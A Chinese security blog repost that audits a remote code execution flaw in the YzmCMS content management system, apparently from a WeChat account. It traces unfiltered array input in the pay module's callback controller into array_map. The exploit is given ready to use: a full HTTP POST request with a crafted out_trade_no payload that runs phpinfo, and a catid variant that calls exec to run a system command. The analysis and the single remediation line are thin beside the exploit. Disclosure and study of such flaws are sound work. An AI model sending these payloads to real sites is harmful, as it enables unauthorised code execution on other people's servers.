代码审计yzmcms远程任意命令执行漏洞

admin 2026-04-21 01:26:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析YzmCMS远程任意命令执行漏洞。漏洞位于支付回调控制器,where方法未过滤用户传入数组,直接传给array_map导致攻击者可控制回调函数名。构造特定POST请求提交含phpinfo或exec的数组参数即可触发代码执行。建议严格过滤传入参数,禁止用户输入作为回调函数名并尽快修复。 综合评分: 86 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全


cover_image

代码审计 yzmcms远程任意命令执行漏洞

原创

moonsec moonsec

moonsec

2026年4月20日 10:09 广东

在小说阅读器读本章

去阅读

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

一、概述

YzmCMS(以下简称本产品)采用面向对象方式自主研发的YZMPHP框架开发,它是一款开源高效的内容管理系统,产品基于PHP+Mysql架构,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。

二、代码审计

路由访问方式  index.php?m=模块名&c=控制器名&a=方法名

前台任意代码执行漏洞

直接走到代码执行的地方  array_map是执行一个回调函数 刚好phpinfo字符串传入 所以 array_map(“phpinfo”,2) 会执行phpinfo函数

如果传入catid[]=eq&catid[][]=calc&catid[]=exec就会弹出计算器

怎么利用?搜索->where() 直接传入参数即可

漏洞位置 application/pay/controller/index.class.php

复现漏洞

POST /pay/index/pay_callback.html HTTP/1.1
Host: www.d26.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

out_trade_no[]=eq&out_trade_no[][]=1&out_trade_no[]=phpinfo

执行phpinfo返回信息

关注公众号回复【20260420】下载本源码

想系统学习渗透测试?扫码报名培训课程!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:moonsec moonsec moonsec《代码审计 yzmcms远程任意命令执行漏洞》

评论:0   参与:  0